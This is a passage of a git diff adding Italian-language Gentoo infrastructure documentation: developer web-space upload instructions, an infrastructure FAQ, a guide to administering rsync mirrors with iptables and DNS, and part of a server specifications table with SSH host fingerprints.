+Developer Relations). Nella maggior parte dei casi in cui vengano effettivamente
+trovati file non idonei il rapporto di sviluppo verrà interrotto. Se non si è
+sicuri dell'impatto che un file potrebbe avere su un altro sviluppatore o su
+Gentoo si consiglia di rivolgersi al proprio mentore/manager per una revisione
+del file stesso.
+</p>
+
+</body>
+</section>
+<section>
+<title>Upload dei File</title>
+<body>
+
+<p>
+Se la persona da cui si è stati reclutati non ha provveduto a creare la
+directory <path>public_html</path>, si può comunque provvedere da soli:
+</p>
+
+<pre caption="Creare la directory public_html">
+username@homebox ~$ <i>ssh $USERNAME@dev.gentoo.org</i>
+Enter passphrase for key '/home/username/.ssh/id_rsa':<comment>(Inserire la propria passphrase)</comment>
+
+username@woodpecker home$ <i>cd ~/$USERNAME</i>
+username@woodpecker ~$ <i>mkdir public_html</i>
+username@woodpecker ~$ <i>chmod -R 755 public_html</i>
+username@woodpecker ~$ <i>echo "Options Indexes" > public_html/.htaccess</i> <comment>(per abilitare l'indicizzazione delle directory, se desiderato)</comment>
+</pre>
+
+<p>
+Il personale del progetto Infrastruttura di Gentoo non si occupa di effettuare
+il backup dei file degli sviluppatori. Sarà lo sviluppatore ad essere
+responsabile del backup di tutti i file nel proprio spazio. Si suggerisce di
+creare un mirror locale sulla propria macchina: <path>~/devspace</path>.
+</p>
+
+<p>
+Adesso sarà possibile copiare i propri file con <c>scp</c> o <c>rsync</c>.
+</p>
+
+<pre caption="Copia sicura con scp">
+username@homebox devspace$ <i>scp index.htm $USERNAME@dev.gentoo.org:~/public_html</i>
+Enter passphrase for key '/home/$USERNAME/.ssh/id_rsa':<comment>(Inserire la propria passphrase)</comment>
+</pre>
+
+<pre caption="Copia sicura con rsync">
+<i>rsync -ruav -e ssh ~/devspace $USER@dev.gentoo.org:~/</i>
+Enter passphrase for key '/home/$USERNAME/.ssh/id_rsa':<comment>(Inserire la propria passphrase)</comment>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Linguaggi supportati</title>
+<body>
+
+<p>
+dev.gentoo.org mette a disposizione HTML, SHTML, XML e PHP per scrivere le
+proprie pagine web.
+</p>
+
+<p>
+XML utilizza lo stesso XSL e lo stesso <uri
+link="/proj/it/gdp/doc/gorg.xml">gorg</uri> di www.gentoo.org. Questo consente
+di scrivere la propria documentazione secondo le <uri
+link="/doc/it/xml-guide.xml">specifiche ufficiali GuideXML</uri> per la sua
+inclusione nel sito www.gentoo.org. Tutta la documentazione ospitata dal sito
+web ufficiale è, infatti, in questo formato.
+</p>
+
+<note>
+Per rimuovere <c>gorg</c> come gestore dei file .xml aggiungere al proprio file
+<path>.htaccess</path> nella propria directory <path>public_html</path> la
+seguente voce: <c>RemoveHandler .xml</c>.
+</note>
+
+</body>
+</section>
+<section>
+<title>Risorse</title>
+<body>
+
+<ul>
+  <li><uri>http://www.openssh.com</uri></li>
+  <li><uri>http://samba.anu.edu.au/rsync/</uri></li>
+  <li><uri>http://www.gentoo.org/proj/it/gdp/doc/gorg.xml</uri></li>
+  <li><uri>http://www.gentoo.org/doc/it/xml-guide.xml</uri></li>
+  <li><uri>http://httpd.apache.org/docs/2.0/howto/htaccess.html</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
\ No newline at end of file
diff --git a/xml/htdocs/proj/it/infrastructure/faq.xml b/xml/htdocs/proj/it/infrastructure/faq.xml
new file mode 100644
index 00000000..913ab976
--- /dev/null
+++ b/xml/htdocs/proj/it/infrastructure/faq.xml
@@ -0,0 +1,61 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/infrastructure/faq.xml,v 1.1 2007/11/07 21:20:36 scen Exp $ -->
+
+<guide link="proj/it/infrastructure/faq.xml" lang="it">
+<title>Domande frequenti sull'Infrastruttura Gentoo</title>
+
+<author title="Autore">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Traduzione">
+  <mail link="nsr2@tiscali.it">Paolo Palana</mail>
+</author>
+
+<abstract>
+In questa pagina sono elencate le domande più frequenti sull'infrastruttura
+Gentoo e le relative risposte.
+</abstract>
+
+<version>0.9</version>
+<date>2003-08-21</date>
+
+<chapter>
+<title>Domande frequenti</title>
+<section>
+<body>
+
+<p>
+<b>D:</b>  E' possibile compilare e/o installare &lt;qualche programma&gt; su
+dev.gentoo.org? La sua installazione potrebbe semplificare la vita.
+</p>
+
+<p>
+<b>R:</b> In generale no. Lo scopo principale di dev.gentoo.org è fornire il
+servizio email e facilitare il trasferimento di file tra sviluppatori e quindi
+<b>non</b> è pensato per essere un comune server accessibile via shell. Qualora
+si tratti di un programma la cui installazione possa portare benefici ad un
+numero <b>significativo</b> di sviluppatori Gentoo si penserà sicuramente ad un
+suo eventuale utilizzo. <c>procmail</c> è un perfetto esempio di questo tipo di
+programmi. Se si pensa che un programma dovrebbe essere installato è opportuno
+contattare klieber.
+</p>
+
+<p>
+In particolare non è possibile installare, supportare o fornire bouncer IRC.
+</p>
+
+<p>
+<b>D:</b> Vi sono dei problemi con &lt;qualche servizio&gt;. Chi contattare?
+</p>
+
+<p>
+<b>R:</b> Consultare la <uri
+link="/proj/en/infrastructure/#doc_chap3">lista</uri> degli sviluppatori
+attualmente attivi e le loro aree di responsabilità per capire chi contattare.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
\ No newline at end of file
diff --git a/xml/htdocs/proj/it/infrastructure/mirrors-rsync.xml b/xml/htdocs/proj/it/infrastructure/mirrors-rsync.xml
new file mode 100644
index 00000000..b2a7259e
--- /dev/null
+++ b/xml/htdocs/proj/it/infrastructure/mirrors-rsync.xml
@@ -0,0 +1,351 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/infrastructure/mirrors-rsync.xml,v 1.3 2009/10/06 19:52:48 scen Exp $ -->
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/it/infrastructure/mirrors-rsync.xml" lang="it">
+<title>Istruzioni per amministrare il mirror rsync di Gentoo</title>
+
+<author title="Autore">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Redazione">
+  <mail link="fox2mike@gentoo.org">Shyam Mani</mail>
+</author>
+<author title="Traduzione">
+  <mail link="zanetti.massimo@gmail.com">Massimo Zanetti</mail>
+</author>
+
+<abstract>
+Questa guida documenta come amministrare il sistema di mirroring rsync di
+Gentoo, includendo la configurazione, la rimozione e la modifica di mirror
+rsync.
+</abstract>
+
+<version>1.0.1</version>
+<date>2009/09/17</date>
+
+<chapter>
+<title>Creare un nuovo mirror di rsync</title>
+<section>
+<title>Introduzione</title>
+<body>
+
+<warn>
+Questo documento fa riferimento al VECCHIO sistema d'amministrazione. <uri
+link="/proj/en/infrastructure/mirror-wrangling.xml">La nuova
+documentazione di sistema è disponibile qui.</uri>
+</warn>
+
+<p>
+Configurare un nuovo mirror di rsync necessita dei seguenti passaggi:
+</p>
+
+<ul>
+  <li>Confermare il bug su bugzilla</li>
+  <li>
+    Aggiungere una voce di prova relativa al mirror di rsync nel set di regole
+    di iptables di rsync1.us.gentoo.org
+  </li>
+  <li>
+    Controllare il mirror per un certo tempo al fine di valutarne il
+    funzionamento
+  </li>
+  <li>Creare i record nel DNS per il nuovo mirror</li>
+  <li>
+    Configurare i servizi di Directional DNS per il nuovo mirror nell'UltraDNS
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Bugzilla</title>
+<body>
+<p>
+Il primo passo quando si crea un nuovo mirror di rsync è creare un bug su <uri
+link="http://bugs.gentoo.org">http://bugs.gentoo.org</uri>. Dopodiché
+l'amministratore del mirror dovrebbe confermare il bug e verificare che, per
+prima cosa, siano state fornite le seguenti informazioni:
+</p>
+
+<ul>
+  <li>nome del server</li>
+  <li>indirizzo IP del mirror</li>
+  <li>informazioni per contattare l'amministratore del sistema</li>
+  <li>numero massimo permesso di connessioni simultanee</li>
+  <li>
+    specifiche del server, tra cui la CPU, la RAM e la velocità di connessione
+    ad Internet
+  </li>
+  <li>
+    tutti gli altri requisiti elencati sul documento <uri
+    link="/doc/it/rsync.xml">Guida e politiche per i mirror rsync di Gentoo
+    Linux</uri>
+  </li>
+</ul>
+
+<p>
+Se manca una parte di questi informazioni, chiederla chieda come supplemento sul
+bug. Dopo di che procedere al passo successivo.
+</p>
+
+</body>
+</section>
+<section>
+<title>Periodo di Prova</title>
+<body>
+
+<p>
+I candidati ad un nuovo mirror di rsync devono passare attraverso un periodo di
+prova di almeno 48 ore, preferibilmente 96, in cui il loro server viene
+periodicamente controllato per aggiornamenti regolari con rsync1.us.gentoo.org.
+Per configurare ciò l'amministratore deve modificare le regole di iptables su
+rsync1.us.gentoo.org. Fare quindi ssh su rsync1.us.gentoo.org ed effettuare le
+seguenti operazioni:
+</p>
+
+<pre caption="Usare vim e sudo per modificare /etc/init.d/rsync">
+# <i>sudo /usr/bin/vim /etc/init.d/rsync</i>
+</pre>
+
+<pre caption="Cercare la sezione Testing e aggiungere lì il nuovo mirror">
+#######
+#
+# TESTING MIRRORS
+# METTERE QUI I MIRRORS CHE SONO NELLA FASE DI PROVA
+# ESSERE CERTI DI METTERE COME REFERENZA IL NUMERO DI BUGZILLA COSI' DA POTERLI
+# RINTRACCIARE
+#
+######
+
+        #bug #12345
+             addMirror 192.168.1.1
+</pre>
+
+<note>
+Ciascuna voce è formata da almeno due righe; una che rimanda al numero di bug e
+l'altra che contiene la voce dell'accesso. La linea relativa all'accesso
+<b>deve</b> essere formata da <c>addMirror &lt;indirizzo ip&gt;</c>
+</note>
+
+<p>
+Si deve aggiungere manualmente la regola a quelle presistenti su iptables:
+</p>
+
+<pre caption="Aggiungere la nuova regola a quelle presistenti usando sudo">
+# <i>sudo /sbin/iptables -A tcp_packets -p TCP -s &lt;ip address&gt; --dport 873 -j tcp_allowed</i>
+</pre>
+
+<p>
+Da tale momento in poi, monitorare il mirror di rsync nelle successive 48-96 ore
+per essere sicuri che ci sia un aggiornamento a intervalli sui :00 e :30 secondi
+(N.d.T.). Se il server mostra problemi di qualsiasi tipo, riportarli sul bug e
+lavorare con l'amministratore  del server per risolverli, laddove possibile.
+</p>
+
+<note>
+Una cosa da fare è scrivere uno script che renda automatico il processo di
+controllo durante il periodo di prova.
+</note>
+
+</body>
+</section>
+<section>
+<title>Aggiungere dei record DNS</title>
+<body>
+
+<p>
+Dopo che il mirror candidato ha superato il periodo di prova, l'amministratore
+del mirror dovrebbe creare dei record DNS per il mirror. Ciascun mirror ha
+bisogno di 5 record DNS distinti:
+</p>
+
+<ul>
+  <li>
+    Il record master rsync. Questo può essere un record A o un CNAME. Es.:
+    <c>rsync5.us.gentoo.org</c>
+  </li>
+  <li>
+    Un record TXT che contiene le informazioni relative all'aministratore del
+    sistema: Es. :<c>"Joe Admin &lt;joe@user.com&gt;"</c>
+  </li>
+  <li>La voce corretta nella rotazione di <c>rsync.gentoo.org</c></li>
+  <li>
+    La voce corretta nella rotazione dei codici di nazione. Es.:
+    <c>rsync.uk.gentoo.org</c>
+  </li>
+  <li>
+    La voce corretta nella rotazione dei codici dei continenti. Es.:
+    <c>rsync.namerica.gentoo.org</c>
+  </li>
+</ul>
+
+<impo>
+Per garantire una facile e rapida rimozione di mirror di rsync con problemi
+dalle rotazioni, le nuove voce devono essere create con un TTL di non più di
+20 minuti.
+</impo>
+
+<impo>
+Le rotazioni DNS a round robin <b>non</b> supportano l'uso dei CNAME nelle
+rotazioni. Qualsiasi record in una rotazione round robin deve essere un record
+A.
+</impo>
+
+<note>
+Siccome <c>rsync.gentoo.org</c> come <c>rsync.europe.gentoo.org</c>,
+<c>rsync.us.gentoo.org</c> e <c>rsync.namerica.gentoo.org</c> sono molto
+utilizzati, gli amministratori del mirror devono usare la loro discrezionalità
+quando aggiungono questi server alle rotazioni. In generale dovrebbero essere
+aggiunti alle rotazioni solo i server che supportano almeno 25 utenti, hanno una
+connessione a 10Mbps a internet e sono installati su macchine con risorse
+sufficienti.
+</note>
+
+<p>
+Per creare le voci bisogna effettuare login su <uri
+link="https://www.ultradns.net">UltraDNS</uri> usando le informazioni
+dell'account dell'amministratore del mirror e creare i record attraverso
+l'interfaccia web.
+</p>
+
+</body>
+</section>
+<section>
+<title>Aggiungere Directional DNS</title>
+<body>
+
+<p>
+Per la rotazione del master rsync.gentoo.org, viene usata Directional DNS così
+da inviare agli utenti insiemi specifici di mirror basandosi sulla posizione dei
+loro indirizzi IP. Anche se è più facile pensare a questo aspetto come una
+locazione geografica, ci si basa più precisamente sulla connessione dell'utente
+e sulla sua vicinanza ai server UltraDNS. Per abilitare il servizio di
+Directional DNS, si devono seguire questi passi:
+</p>
+
+<ul>
+  <li>
+    Effettuare il login sull'interfaccia amministrativa di <uri
+    link="https://www.ultradns.net">UltraDNS</uri>
+  </li>
+  <li>Selezionare il dominio di <c>rsync.gentoo.org</c></li>
+  <li>
+    Trovare il record per il quale si desidera impostare le capacità di
+    Directional DNS
+  </li>
+  <li>
+    Fare click sul mondo che gira (o grigio o blu) per quella voce. Si aprirà
+    una finestra in sovraimpressione.
+  </li>
+  <li>
+    Selezionare i server per i quali UltraDNS dovrebbe restituire il record.
+    Questi server dovrebbero essere geograficamente vicini alla posizione della
+    macchina
+  </li>
+  <li>
+    Premere <c>finished</c> per chiudere la finestra del Directional DNS.
+   </li>
+</ul>
+
+<impo>
+Gli amministratori di mirror dovrebbero controllare periodicamente che
+rsync.gentoo.org non restituisca troppi record per un qualsiasi insieme. Quando
+ci sono più di 22 (circa) record ritornati come parte di un insieme round-robin,
+l'insieme diventa più grande di quello che UDP può gestire. Questo causa un
+malfunzionamento di DNS e un tentativo su TCP. Ciò causa problemi a quegli
+utenti che hanno la porta TCP 53 bloccata.
+</impo>
+
+</body>
+</section>
+<section>
+<title>Aggiornare la lista di accesso di iptables</title>
+<body>
+
+<p>
+Una volta che il mirror candidato è acceso e funzionante, l'amministratore del
+mirror dovrebbe aggiornare la voce nella lista di accesso di iptables di
+rsync1.us.gentoo.org allo scopo di recepire il cambiamento.
+</p>
+
+<pre caption="Usare vim e sudo per modificare /etc/init.d/rsync">
+# <i>sudo /usr/bin/vim /etc/init.d/rsync</i>
+</pre>
+
+<pre caption="Spostare la voce nella sezione Testing Mirrors all'interno del
+file">
+#######
+#
+# TESTING MIRRORS
+# METTERE QUI I MIRRORS CHE SONO NELLA FASE DI PROVA
+# ESSERE CERTI DI METTERE COME REFERENZA IL NUMERO DI BUGZILLA COSI' DA POTERLI
+# RINTRACCIARE
+#
+######
+
+        #bug #12345
+         addMirror 192.168.1.1
+<comment>(togliere la voce sopra e spostarla nella sezione appropriata sotto)
+</comment>
+[snip]
+
+# .us RSYNC MIRRORS
+
+        # rsync5.us     "Joe Admin &lt;joe@admin.com&gt;"
+                addMirror 192.168.1.1
+
+</pre>
+
+<note>
+Ciascuna voce è formata da almeno due righe; una che rimanda agli amministratori
+del server e ai loro indirizzi email, l'altra che contiene la voce dell'accesso.
+La riga dell'accesso <b>deve</b> essere del tipo <c>addMirror &lt;ip
+address&gt;</c>
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Aggiornare un mirror rsync</title>
+<section>
+<body>
+
+<p>
+Aggiornare un mirror rsync richiede molti dei precedenti passaggi, con
+l'eccezione che non c'è periodo di prova e i record esistenti sono semplicemente
+modificate piuttosto che aggiungerli come nuovi.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Rimuovere un mirror rsync</title>
+<section>
+<body>
+
+<p>
+Per rimuovere  un mirror rsync, completare semplicemente le seguenti operazioni:
+</p>
+
+<ul>
+  <li>
+    Togliere la voce in /etc/init.d/rsync su rsync1.us.gentoo.org
+  </li>
+  <li>Togliere manualmente la voce dall'Iptables su rsync1.us.gentoo.org</li>
+  <li>Rimuovere tutti e 5 i record da UltraDNS</li>
+</ul>
+
+<pre caption="Rimuovere la voce dall'insieme di regole di iptables usando sudo">
+# <i>sudo /sbin/iptables -D tcp_packets -p TCP -s &lt;ip address&gt;</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/infrastructure/server-specs.xml b/xml/htdocs/proj/it/infrastructure/server-specs.xml
new file mode 100644
index 00000000..498ab2a7
--- /dev/null
+++ b/xml/htdocs/proj/it/infrastructure/server-specs.xml
@@ -0,0 +1,731 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/infrastructure/server-specs.xml,v 1.18 2010/08/25 22:04:09 scen Exp $ -->
+
+<guide link="proj/it/infrastructure/server-specs.xml" lang="it">
+<title>Specifiche dei server dell'infrastruttura Gentoo</title>
+
+<author title="Autore">
+  <mail link="klieber">Kurt Lieber</mail>
+</author>
+<author title="Autore">
+  <mail link="robbat2">Robin H. Johnson</mail>
+ </author>
+<author title="Redazione">
+  <mail link="ramereth">Lance Albertson</mail>
+</author>
+<author title="Traduzione">
+  <mail link="nsr2@tiscali.it">Paolo Palana</mail>
+</author>
+<author title="Traduzione">
+  <mail link="scen"/>
+</author>
+
+<abstract>
+Questa pagina elenca i server usati e supportati dal progetto
+Infrastruttura Gentoo.
+</abstract>
+
+<!-- pending:
+-->
+<version>1.35</version>
+<date>2010-08-23</date>
+
+<chapter>
+<title>Specifiche dei server</title>
+<section>
+<body>
+
+<table>
+<tr>
+  <th>Nome del server<br />(*=IPv6 nativo)</th>
+  <th>Alias</th>
+  <th>Servizi</th>
+  <th>CPU</th>
+  <th>RAM</th>
+  <th>Capacità del disco</th>
+  <th>Proprietario</th>
+  <th>Collocazione fisica</th>
+  <th>Fingerprint SSH</th>
+</tr>
+<!---
+<tr>
+  <ti>$NAME</ti>
+  <ti></ti>
+  <ti></ti>
+  <ti>$CPU</ti> Numero di core fisici
+  <ti>$RAM</ti>
+  <ti>$DISK</ti>
+  <ti>$WHO</ti>
+  <ti>$WHERE</ti>
+  <ti>RSA $RSA DSA $DSA</ti>
+</tr>
+-->
+<tr>
+  <ti>albatross*</ti>
+  <ti>rsync0.uk/rsync1.us/rsync1.ipv6, masterportage</ti>
+  <ti>master rsync</ti>
+  <ti>2x 2GHz Athlon 64 X2 3800+</ti>
+  <ti>2GB</ti>
+  <ti>2x 200GB SATA2 RAID1(md)</ti>
+  <ti>Bytemark Hosting</ti>
+  <ti>Manchester, Inghilterra</ti>
+  <ti>
+    RSA a5:78:82:95:76:e9:44:3d:a7:0c:f9:a2:af:7a:76:fe
+    DSA 11:c4:f9:1b:16:9e:57:76:a7:36:1f:bc:07:a4:29:61
+  </ti>
+</tr>
+<tr>
+  <ti>ani*</ti>
+  <ti>www-ani</ti>
+  <ti>www node (slave)</ti>
+  <ti>1.6GHz Intel Atom 230 (HT)</ti>
+  <ti>2GB</ti>
+  <ti>2x 100GB SATA2 RAID1(md)</ti>
+  <ti>Bytemark Hosting</ti>
+  <ti>Manchester, Inghilterra</ti>
+  <ti>
+    RSA b4:94:0c:0c:8a:f2:90:04:9a:40:93:14:74:af:ca:9d
+    DSA 1d:fe:b3:de:33:e2:f6:f3:b2:9f:49:a5:58:4e:18:44
+  </ti>
+</tr>
+<tr>
+  <ti>auklet*</ti>
+  <ti>www-auklet</ti>
+  <ti>www node (master)</ti>
+  <ti>1.6GHz Intel Atom 230 (HT)</ti>
+  <ti>2GB</ti>
+  <ti>2x 100GB SATA2 RAID1(md)</ti>
+  <ti>Bytemark Hosting</ti>
+  <ti>Manchester, Inghilterra</ti>
+  <ti>
+    RSA e0:94:2a:bc:9e:6d:e2:68:7a:ff:49:fa:07:86:01:8f
+    DSA 42:8b:4d:6f:f9:ca:3e:31:30:2a:3f:6a:c7:61:78:e0
+  </ti>
+</tr>
+<tr>
+  <ti>barbet</ti>
+  <ti>bouncer, devmanual, packages</ti>
+  <ti>multiple www services</ti>
+  <ti>1.66GHz Intel Atom D510 (Dual Core w/HT)</ti>
+  <ti>4GB</ti>
+  <ti>2x 320GB SATA 3Gb/S RAID1(md)</ti>
+  <ti>Gentoo</ti>
+  <ti>Corvallis, OR</ti>
+  <ti>
+    RSA d8:93:c0:9d:45:37:a7:b5:be:5a:09:eb:fc:2b:e3:d3
+    DSA f1:24:79:f3:d9:3c:9b:cf:3a:9b:9e:0f:75:fd:66:6f
+  </ti>
+</tr>
+<tr>
+  <ti>bellbird</ti>
+  <ti></ti>
+  <ti>future cfengine master</ti>
+  <ti>1.66GHz Intel Atom D510 (Dual Core w/HT)</ti>
+  <ti>4GB</ti>
+  <ti>2x 320GB SATA 3Gb/S RAID1(md)</ti>
+  <ti>Gentoo</ti>
+  <ti>Corvallis, OR</ti>
+  <ti>
+    RSA cd:85:dc:02:f0:3b:70:0f:63:0c:ac:37:d8:dd:80:63
+    DSA f6:64:2a:70:22:7f:fd:82:21:65:4f:e0:b3:f9:dd:e1
+  </ti>
+</tr>
+<tr>
+  <ti>bittern</ti>
+  <ti>ads, wiki</ti>
+  <ti>multiple www services</ti>
+  <ti>1.66GHz Intel Atom D510 (Dual Core w/HT)</ti>
+  <ti>4GB</ti>
+  <ti>2x 320GB SATA 3Gb/S RAID1(md)</ti>
+  <ti>Gentoo</ti>
+  <ti>Corvallis, OR</ti>
+  <ti>
+    RSA b9:b6:35:22:f2:81:45:25:0b:53:93:7b:2e:3d:13:47
+    DSA 80:98:74:a5:8d:7b:ca:8d:58:40:3b:af:1a:09:f5:be
+  </ti>
+</tr>
+<tr>
+  <ti>bluebird</ti>
+  <ti></ti>
+  <ti>future test deployments</ti>
+  <ti>1.66GHz Intel Atom D510 (Dual Core w/HT)</ti>
+  <ti>4GB</ti>
+  <ti>2x 320GB SATA 3Gb/S RAID1(md)</ti>
+  <ti>Gentoo</ti>
+  <ti>Corvallis, OR</ti>
+  <ti>
+    RSA 68:c1:ad:63:a9:16:ac:3d:12:f0:06:d5:4b:5d:4d:71
+    DSA b4:f4:3a:90:ba:81:a3:8e:84:94:08:aa:c1:39:d6:7d
+  </ti>
+</tr>
+<tr>
+  <ti>bobolink</ti>
+  <ti>rsync</ti>
+  <ti>rsync server</ti>
+  <ti>1.66GHz Intel Atom D510 (Dual Core w/HT)</ti>
+  <ti>4GB</ti>
+  <ti>2x 320GB SATA 3Gb/S RAID1(md)</ti>
+  <ti>Gentoo</ti>
+  <ti>Corvallis, OR</ti>
+  <ti>
+    RSA ac:5b:6e:59:bf:20:0a:a0:61:41:20:31:d0:d0:f6:73
+    DSA 2a:a4:1d:d2:12:cf:b1:89:60:83:46:ea:05:e3:58:cc
+  </ti>
+</tr>
+<tr>
+  <ti>brambling</ti>
+  <ti></ti>
+  <ti></ti>
+  <ti>1.66GHz Intel Atom D510 (Dual Core w/HT)</ti>
+  <ti>4GB</ti>
+  <ti>2x 320GB SATA 3Gb/S RAID1(md)</ti>
+  <ti>Gentoo</ti>
+  <ti>Corvallis, OR</ti>
+  <ti>
+    RSA f3:de:6f:5d:c0:4c:e2:c1:95:b9:90:4b:7f:08:0c:22
+    DSA 83:1b:de:0a:ad:c3:f8:d8:d2:41:8f:55:20:27:f1:c1
+  </ti>
+</tr>
+<tr>
+  <ti>boobie</ti>
+  <ti>rsync</ti>
+  <ti>rsync server</ti>
+  <ti>2x 2.13GHz Xeon 3050</ti>
+  <ti>4GB</ti>
+  <ti>2x 150GB SATA2 RAID1(md)</ti>
+  <ti>EUKhost</ti>
+  <ti>Maidenhead, Inghilterra</ti>
+  <ti>
+    RSA b6:ed:af:ed:db:d2:68:ab:da:fb:41:73:ae:e5:cf:95
+    DSA 78:3c:6d:11:5c:2a:32:2a:99:d2:e5:7d:98:f8:36:6e
+  </ti>
+</tr>
+<tr>
+  <ti>condor</ti>
+  <ti></ti>
+  <ti></ti>
+  <ti>2.8GHz Celeron</ti>
+  <ti>1GB</ti>
+  <ti>80GB SATA</ti>
+  <ti>Seven L. Networks</ti>
+  <ti>Toronto, Canada</ti>
+  <ti>
+    RSA 62:62:88:76:9a:b5:3b:78:0d:01:26:6a:fe:55:57:f4
+    DSA 2b:51:01:43:23:e1:b2:f7:b1:e0:da:2f:8a:d8:e3:ee
+  </ti>
+</tr>
+<tr>
+  <ti>corvid</ti>
+  <ti>ldap3</ti>
+  <ti>ldap3</ti>
+  <ti>2x 3.4GHz Pentium-D</ti>
+  <ti>4GB</ti>
+  <ti>2x 80GB SATA RAID1(md)</ti>
+  <ti>Seven L. Networks</ti>
+  <ti>Toronto, Canada</ti>
+  <ti>
+    RSA 5a:82:0a:46:06:47:94:65:0a:23:01:f9:0d:43:6e:64
+    DSA a5:ac:76:55:27:ee:20:61:24:e0:4f:48:15:90:f1:34
+  </ti>
+</tr>
+<tr>
+  <ti>crane</ti>
+  <ti>rsync</ti>
+  <ti>rsync server</ti>
+  <ti>2x 1.7GHz P4 Xeon</ti>
+  <ti>2GB</ti>
+  <ti>2x 18GB U160 RAID1(md)</ti>
+  <ti>Università dell'Indiana</ti>
+  <ti>Indianapolis, IN</ti>
+  <ti>
+    RSA f5:29:f3:42:2a:f3:8e:70:dc:8a:a1:17:1d:d7:f7:af
+    DSA 88:08:ca:e5:d4:ba:ae:60:1a:40:1e:b7:7c:3b:01:c1
+  </ti>
+</tr>
+<tr>
+  <ti>dove</ti>
+  <ti></ti>
+  <ti></ti>
+  <ti>2x 2.8GHz Xeon (HT)</ti>
+  <ti>2GB</ti>
+  <ti>5x 36GB SCSI RAID5(PERC 3/Di)</ti>
+  <ti>Open Source Lab</ti>
+  <ti>Corvallis, OR</ti>
+  <ti>
+    RSA c5:6a:9b:32:15:0c:89:5e:a4:05:59:9d:ae:d1:83:27
+    DSA ef:c9:86:9d:a2:f9:79:83:d9:a2:c3:0a:66:cd:4c:9b
+  </ti>
+</tr>
+<tr>
+  <ti>duck</ti>
+  <ti>ldap1, ldap2</ti>
+  <ti>ldap1, ldap2</ti>
+  <ti>2x 800MHz Pentium III</ti>
+  <ti>1.5GB</ti>
+  <ti>2x 9GB SCSI RAID1(LSI 53C1510)</ti>
+  <ti>Università dell'Indiana</ti>
+  <ti>Indianapolis, IN</ti>
+  <ti>
+    RSA 87:b2:83:3b:ec:0c:9d:d7:6c:a9:fc:32:f4:a5:e8:23
+    DSA 5d:37:de:74:34:cb:7e:40:44:a3:5a:f6:ad:6e:60:eb
+  </ti>
+</tr>
+<tr>
+  <ti>finch</ti>
+  <ti>archives, planet</ti>
+  <ti>servizi www</ti>
+  <ti>4x 1.8GHz Opteron 2210</ti>
+  <ti>4GB</ti>
+  <ti>2x 250GB SATA2 RAID1(md)</ti>
+  <ti>Gentoo</ti>
+  <ti>Corvallis, OR</ti>
+  <ti>
+    RSA 3e:64:90:b3:93:ce:db:a4:b4:c0:30:9a:7d:2c:6a:cc
+    DSA 6b:87:82:4b:b2:95:24:59:66:cf:41:64:eb:19:38:dd
+  </ti>
+</tr>
+<tr>
+  <ti>flycatcher*</ti>
+  <ti>cvs, svn, git</ti>
+  <ti>CVS, SVN, Git</ti>
+  <ti>4x 2Ghz Xeon E5405</ti>
+  <ti>16GB</ti>
+  <ti>4x 147GB SAS RAID10(3ware 9690SA-4I)</ti>
+  <ti>SD-France.com</ti>
+  <ti>Saint-Denis, France</ti>
+  <ti>
+    RSA 84:db:48:d1:39:45:a4:c8:f4:fd:6c:0d:fa:18:81:19
+    DSA de:2a:f2:63:4a:1e:67:e0:13:ab:1d:8a:0f:61:6e:e5
+  </ti>
+</tr>
+<tr>
+  <ti>gannet</ti>
+  <ti>forums-web1, forumstest-web1</ti>
+  <ti>forums web #1</ti>
+  <ti>4x 2.4GHz Opteron 2216</ti>
+  <ti>8GB</ti>
+  <ti>2x 250GB SATA2 RAID1(md)</ti>
+  <ti>Gossamer Threads</ti>
+  <ti>Vancouver, Canada</ti>
+  <ti>
+    RSA c0:c2:86:45:88:04:41:cd:68:86:2a:a2:f2:30:d3:1e
+    DSA 1e:0d:40:81:be:76:ee:e9:61:ef:97:20:94:9b:fd:7c
+  </ti>
+</tr>
+<tr>
+  <ti>godwit</ti>
+  <ti>forums-web2, forumstest-web2</ti>
+  <ti>forums web #2</ti>
+  <ti>4x 2.4GHz Opteron 2216</ti>
+  <ti>8GB</ti>
+  <ti>2x 250GB SATA2 RAID1(md)</ti>
+  <ti>Gossamer Threads</ti>
+  <ti>Vancouver, Canada</ti>
+  <ti>
+    RSA 06:2c:b3:14:51:9b:b7:89:fe:d7:35:27:e4:79:0b:9a
+    DSA 86:cc:4e:f1:17:95:b3:74:53:4c:d6:ab:81:6d:02:6a
+  </ti>
+</tr>
+<tr>
+  <ti>grebe</ti>
+  <ti>forums-db1</ti>
+  <ti>forums db #1</ti>
+  <ti>8x 2.3GHz Opteron 2376</ti>
+  <ti>16GB</ti>
+  <ti>4x 147GB SAS RAID10(md)</ti>
+  <ti>Gossamer Threads</ti>
+  <ti>Vancouver, Canada</ti>
+  <ti>
+    RSA fe:9a:cf:5c:e5:48:f2:e4:07:31:77:fb:9a:22:e2:a0
+    DSA f4:8e:23:5f:66:1d:f5:0d:7d:8a:de:1b:9d:bc:73:40
+  </ti>
+</tr>
+<tr>
+  <ti>grouse</ti>
+  <ti>forums-db2</ti>
+  <ti>forums db #2</ti>
+  <ti>8x 2.3GHz Opteron 2376</ti>
+  <ti>16GB</ti>
+  <ti>4x 147GB SAS RAID10(md)</ti>
+  <ti>Gossamer Threads</ti>
+  <ti>Vancouver, Canada</ti>
+  <ti>
